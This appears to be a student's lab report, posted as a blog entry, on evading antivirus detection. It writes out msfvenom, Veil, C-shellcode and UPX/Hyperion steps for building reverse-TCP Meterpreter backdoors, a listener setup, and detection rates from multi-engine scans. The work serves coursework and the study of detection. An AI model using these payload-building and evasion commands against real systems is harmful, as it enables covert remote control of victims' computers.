20242324 2026-2027-1 《网络与系统攻防技术》实验3实验报告

1.基础知识

(1)杀软是如何检测出恶意代码的?
静态特征检测(特征码匹配):杀毒厂商提取恶意程序独有的代码片段作为特征库,扫描时对比文件内容,匹配上特征就判定为恶意。
行为检测:监控程序运行时的动作,比如主动向外反弹连接、修改注册表、窃取文件、注入进程等高危行为,触发行为规则就告警拦截。
启发式检测:根据代码结构、编译特征、代码逻辑,判断文件是否具有恶意程序典型结构,识别未知恶意样本。
沙箱动态检测:把文件放到隔离沙箱里运行,观察运行过程中的行为,判断是否属于恶意程序。
机器学习 / 云查杀:云端大量样本训练模型,上传文件哈希、特征到云端比对识别。

(2)免杀是做什么?
免杀就是通过修改恶意载荷的代码、结构、执行方式,改变恶意程序原本的特征和行为表现,绕过杀毒软件的静态、动态检测机制,让杀毒软件无法识别该程序为恶意文件,从而可以在装有杀毒软件的目标主机上正常运行,实现反弹连接、渗透控制等目的。
⚠️ 提示:免杀技术仅允许在自己授权的实验环境学习使用,禁止用于未授权攻击。

(3)免杀的基本方法有哪些?
①编码加密:使用 msf 编码器对 shellcode 多次编码、异或加密,改变原始特征码
②加壳 / 二次打包:使用 Veil、TheFatRat 等工具加壳、捆绑,混淆原始 shellcode
③进程注入:把 shellcode 注入正常系统进程,减少独立恶意程序特征
④内存加载:不落地 exe,直接在内存执行 shellcode,避免静态扫描
⑤分离加载:载荷拆分,载体和 shellcode 分开,运行时读取加载
⑥修改程序资源、签名、图标等干扰静态识别
⑦调整代码逻辑,规避沙箱的高危行为检测

2.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

3.实验过程

由于在下载veil时需要用到较大的磁盘空间,所以可以预先将硬盘空间分配得大一些。
屏幕截图 2026-10-19 103819

免杀效果参考基准

查找平台评价免杀效果

使用VirScan-多引擎文件在线检测平台软件评价免杀效果,网址为: https://www.virscan.org 。
image

构建参考基准

为构建参考基准,使用msfvenom直接生成一个后门程序,以其检出率作为基准。使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.129 LPORT=2409 -f exe > met20242324.exe,生成一个基于Windows平台、采用reverse_tcp类型的Meterpreter后门程序,将其保存为met20242324.exe文件。
image

使用VirScan检测该文件的安全性,检测结果为16/48,即用48个杀毒引擎检测,有16个引擎判定该文件含恶意软件。以此作为基准,用于对比后续免杀效果的执行情况。
image

Msfvenom使用编码器

生成exe文件和编码的exe文件

通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.72.129 LPORT=2409 -f exe > met20242324_2.exe,生成一个与参考基准相同的Windows下恶意可执行文件。为躲避杀毒软件的检测,这里使用了名为shikata_ga_nai的编码技术进行伪装。
image

对于Msfvenom使用编码器单次shikata_ga_nai编码形成可执行文件检出率为13/48,相比基准样本检出率有明显下降,说明 shikata_ga_nai 编码能够改变载荷特征,规避一部分杀毒引擎的静态特征检测。但样本仍被过半引擎检出,免杀能力有限,无法对抗多数主流杀毒软件。
image

通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.72.129 LPORT=2409 -f exe > met20242324_3.exe,对文件进行10次shikata_ga_nai编码。
image

对于Msfvenom使用编码器多次shikata_ga_nai编码形成可执行文件检出率为16/48,与基准一样。说明此种方法也几乎没有免杀作用。
image

生成jar文件和编码的jar文件

通过命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.72.129 LPORT=2409 > metjar20242324.jar,将恶意载荷生成 jar 包形式。
image

对于Msfvenom使用编码器形成的jar包检出率为15/48,免杀效果较基准有所提高。说明利用Java平台和JVM的间接调用,可以在一定程度上模糊恶意代码的恶意行为,使得部分传统的检测手段失效。
image

通过命令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.72.129 LPORT=2409 -f jar > met-encode-jar20242324.jar,生成一份经 shikata_ga_nai 编码 10 次的 jar 包。
image

对于Msfvenom使用编码器多次shikata_ga_nai编码形成jar包检出率为13/48,免杀效果虽较基准有所提高,但与不进行多次shikata_ga_nai编码效果类似。免杀效果并不明显
image

生成php文件和编码的php文件

通过命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.72.129 LPORT=2409 -f raw > metphp_20242324.php,生成 PHP 格式的恶意载荷文件。
image

对于Msfvenom使用编码器形成的PHP代码检出率为8/48,免杀效果较基准显著提高。这是因为这种方式伪装成了网站本身,比代码层面的混淆更有效,但是它的攻击前提是需要利用网站漏洞植入,较其他方式更为复杂。
image

通过命令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.72.129 LPORT=2409 -f raw > met_encoded10_php_20242324.php,生成经过 shikata_ga_nai 迭代编码 10 次的 PHP 载荷文件。
image

对于Msfvenom使用编码器多次shikata_ga_nai编码形成PHP代码检出率为2/48,免杀效果不仅较基准显著提高,较未编码前也大大提高。
shikata_ga_nai 原本是面向 x86 汇编指令的编码器,对 PHP 脚本编码时,payload 会转为二进制形式。静态扫描时很难识别特征;它在 PHP 解释器内存中运行,不落地写磁盘,免杀效果相比未编码 PHP 样本进一步提升。
image

使用veil免杀工具

环境准备

通过命令sudo apt update更新软件包列表索引,再通过命令sudo apt -y install veil,下载veil工具。
image
image

使用veil生成可执行文件

安装完成后输入veil进入veil框架的交互式命令行界面。输入use 1进入Evasion躲避模块,用以专门生成能够躲避主流杀毒软件检测的恶意可执行文件。
image

通过命令list查看所有可用的载荷种类。
image

输入命令use 7,选择上方的第七个c/meterpreter/rev_tcp.py。这是一个由Python脚本驱动的Veil-Evasion载荷,它会生成一个用C语言编写的、Meterpreter类型的、使用反向TCP连接的Windows可执行文件。
image

输入配置信息,包括攻击机器的IP与端口,以及所需要生成文件的文件名配置,具体如下:
set LHOST 192.168.72.129 # 攻击机Kali的IP地址,接收回连
set LPORT 2409 # 监听2409端口,等待回连
generate # 生成载荷
payload20242324 # 生成的免杀后门文件名
image

根据提示的路径,/var/lib/veil/output/compiled/payload20242324.exe找到生成的可执行文件。
image

检测veil生成可执行文件的免杀情况

基于Veil-Evasion生成的可执行文件检出率为8/48,其免杀效果较基准大大提高。它通过模拟正常软件的编译流程,结合了多层次、动态的混淆与反分析技术,极大提高了恶意文件的生存能力。
image

C语言调用Shellcode

使用C语言调用Shellcode制作方式

通过命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.129 LPORT=2409 -f c,用msfvenom工具将恶意代码嵌入到另一个用C语言编写的程序中。
image

通过vi编辑器,为上述生成的恶意代码增添一个main函数。
image
image

通过命令 i686-w64-mingw32-g++ shellcode_c_20242324.c -o shellcode_c_20242324.exe,将 C 语言源码文件编译为 Windows 平台可执行文件,编译完成后在当前目录路径下找到生成的可执行文件 shellcode_c_20242324.exe。
image

image

检测C语言调用Shellcode免杀情况

使用C语言编写的Shellcode检出率为6/48,其免杀效果较基准显著提高。它通过源码级植入,让恶意代码隐藏在一个由开发者构建的看似正常的程序中,从而极大地提高了对抗静态和动态分析的能力。
image

使用加壳工具

使用压缩壳UPX

通过命令 upx shellcode_c_20242324.exe -o shellcode_c_upx_20242324.exe,给 C 语言生成的 Shellcode 程序添加 UPX 压缩壳。
image

对于添加了UPX压缩壳的恶意代码文件,其免杀效果较基准显著提高。它通过压缩可执行文件、嵌入自解压代码,改变程序的静态文件结构,隐藏原始 Shellcode 特征,干扰杀毒软件的静态特征匹配,实现一定程度的免杀。
image

使用加密壳Hyperion

通过命令 cp shellcode_c_20242324.exe /usr/share/windows-resources/hyperion/,将待加密的恶意文件复制到 Hyperion 工具所在的工作目录中。
通过命令 cd /usr/share/windows-resources/hyperion,将当前的工作目录切换到 Hyperion 所在的文件夹。
通过命令 wine hyperion.exe -v shellcode_c_20242324.exe shellcode_c_hyp_20242324.exe,通过 wine 在 Linux 上运行 Windows 程序 hyperion.exe,使用详细模式 - v 对 shellcode_c_20242324.exe 文件进行加密,并生成一个新的加密文件 shellcode_c_hyp_20242324.exe。
image

使用 Hyperion 加密壳处理后的程序检出率为 20/48,高于基准样本。原因是 Hyperion 作为经典免杀壳,其自带的解密 Stub 代码已经被大量杀毒引擎收录为恶意特征。杀毒软件不再识别内部的 shellcode,而是直接识别壳本身,因此免杀效果变差,检出率上升。
image

组合使用msfvenom工具与加壳技术

使用msfvenom工具

通过命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.72.129 LPORT=2409 -f c > 20242324_shellcode_multi.c,生成一个经过 10 次多态编码且不含空字节的 C 语言格式 shellcode,并将其保存到文件中,以便进行免杀处理。
image

使用 vim 编辑器打开生成的 C 语言 shellcode 文件,在文件末尾添加 main 函数,将 buf 数组强制转换为函数指针并调用,实现 shellcode 执行。
image

通过命令 i686-w64-mingw32-g++ 20242324_shellcode_multi.c -o 20242324_shellcode_multi.exe,将修改完成的 C 源码编译为 Windows 平台可执行文件。
image

使用压缩壳UPX

通过命令 upx 20242324_shellcode_multi.exe -o 20242324_shellcode_multi_2.exe,为可执行文件加上 UPX 压缩壳。
image

使用加密壳Hyperion

通过命令 wine hyperion.exe -v 20242324_shellcode_multi_2.exe 20242324_shellcode_multi_3.exe,为可执行文件加上 Hyperion 加密壳。
image

检测免杀效果

对经过 UPX 压缩壳处理后的文件20242324_shellcode_multi_2.exe进行在线免杀检测,检测结果为3/48,仅有 3 款杀毒引擎检出该恶意程序。对比未加壳的基准样本检出率,UPX 压缩壳对该载荷起到了不错的免杀效果。UPX 仅对程序进行压缩,修改 PE 文件结构,在不改变原有 shellcode 功能的前提下降低特征暴露概率。
image

对 UPX 处理后的样本使用 Hyperion 壳进行加密,得到20242324_shellcode_multi_3.exe,扫描检出率为 20/48。相较于仅 UPX 压缩的样本,检出数量明显上升。原因是 Hyperion 加壳程序自身存在已知特征,被杀毒引擎识别,说明多层加壳不一定能优化免杀效果。
image

将文件20242324_shellcode_multi_2.exe和20242324_shellcode_multi_3.exe使用Windows主机上的杀毒软件进行扫描,20242324_shellcode_multi_3.exe仍能查出其中存在的潜在危险,而20242324_shellcode_multi_2.exe完全没查出来。
image
本次使用的杀毒软件是 360 安全卫士,其主程序版本为 13 (13.0.1.2006),备用木马库版本为 2026-10-21。
image

开启杀软回连实测

尝试使用组合使用各种工具检出率为3/48的恶意文件 20242324_shellcode_multi_2.exe 进行回连检测。Kali 虚拟机作为攻击机,进入 msf 的控制台,配置监听处理器、载荷类型、IP 地址与监听端口等相关信息。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.72.129
set LPORT 2409
exploit
image

Windows主机作为目标主机,在其上启动后门程序20232409_shellcode_multi_2.exe。发现360安全软件将其成功拦截,再次运行已经无法成功。
image
后门程序被清掉了
image

4.问题及解决方案

  • 问题1:php文件传给VirSCAN进行免杀校验的时候,会出现文件校验失败的情况
    image

  • 问题1解决方案:切换网络

  • 问题2:使用 Veil-Evasion 生成免杀载荷,执行 generate 并输入输出文件名后,程序抛出报错 PermissionError: [Errno 13] Permission denied,提示没有权限向 /var/lib/veil/output/source/ 路径写入文件,载荷生成失败。
    image

  • 问题2解决方案:在 Kali 终端执行权限修改命令,修改该目录归属,赋予当前用户读写权限:
    bash
    sudo chown -R kali:kali /var/lib/veil
    执行命令后,重新启动 Veil-Evasion,再次执行载荷生成流程,载荷正常生成。

5.学习感悟、思考等

本次免杀实验,让我理解了杀毒软件的检测原理与免杀技术的实现思路。实验中使用 msfvenom 编码、Veil-Evasion 打包生成反弹载荷,对比不同处理方式下样本的查杀检出率,认识到简单编码的免杀效果有限,现代杀毒软件同时依靠特征码、行为检测、沙箱分析等多种机制识别恶意程序。
实操过程中也遇到不少问题,例如 Veil 安装依赖繁琐、载荷运行时被杀毒软件拦截、反弹会话无法建立等。通过排查虚拟机网络连通性、核对载荷内 IP 与监听端口参数,逐步定位故障,锻炼了排错能力。
同时我也意识到,免杀技术是一把双刃剑,本次仅在授权的实验环境中学习研究。防护方需要持续更新特征库、完善动态检测策略,对抗各类免杀手段;作为网络安全学习者,要树立正确的安全观,坚守法律法规,用所学知识做好安全防御。

参考资料

posted @ 2026-10-21 22:11  仁增洛玛  阅读(4)  评论(0)    收藏  举报